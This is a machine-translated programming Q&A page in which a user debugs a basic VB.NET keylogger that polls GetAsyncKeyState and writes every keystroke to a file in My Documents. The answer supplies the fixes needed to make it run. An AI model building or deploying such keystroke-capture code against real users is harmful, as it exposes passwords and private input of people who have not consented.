无法在键盘记录程序

时间:2018-06-04 20:06:07

标签: vb.net keylogger

我正在尝试创建一个基本的键盘记录程序。我对网络安全感兴趣并希望了解更多信息。我从各种来源汇总了下面的代码。 line text = converter.ToString(i)生成索引超出范围的错误。 我在想这是因为对象转换器还没有被实例化,因为它应该??但是如何解决呢?

Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading

Module Module1
     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
    Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
    filepath &= "\LogsFolder\"

    If (Not Directory.Exists(filepath)) Then
        Directory.CreateDirectory(filepath)
    End If

    Dim Path = (filepath & "LoggedKeys.text")

    If Not File.Exists(Path) Then
        Using sw As StreamWriter = File.CreateText(Path)
        End Using
    End If

    Dim Converter = New KeysConverter()
    Dim text As String = ""

    While (True)
        Thread.Sleep(5)
        For i As Integer = 0 To 1999
            Dim key = GetAsyncKeyState(i)
            If key = 1 Or key = -32767 Then
                text = converter.ToString(i)
                Using sw As StreamWriter = File.AppendText(Path)
                    sw.WriteLine(text)
                End Using
                Exit For
            End If
        Next
    End While

End Sub

End Module

1 个答案:

答案 0 :(得分:3)

看起来您正在寻找ConvertToString方法。

替换以下行:

text = converter.ToString(i)

使用:

text = converter.ConvertToString(i)

编辑以在评论中解决您的疑虑:

  

我收到语法错误,'ConvertToString'不是KeysConverter的成员......听起来我的实例化没有用。

将鼠标光标悬停在Converter变量上并仔细检查其类型。确保KeysConverter 实际上 System.Windows.Forms.KeysConverter类,而不是某种本地生成的类。

  

MyImports System.Windows.Forms语句是ghosted - 暗示它从未使用过。

这就是我所怀疑的。您似乎是在控制台应用程序中,并且您正在访问控制台应用程序中包含的 System.Windows.Forms命名空间中的类。您需要按照this answer中的说明添加对System.Windows.Forms.dll的引用。

此外,请确保从项目中找到并删除生成的KeysConverter类,以避免冲突。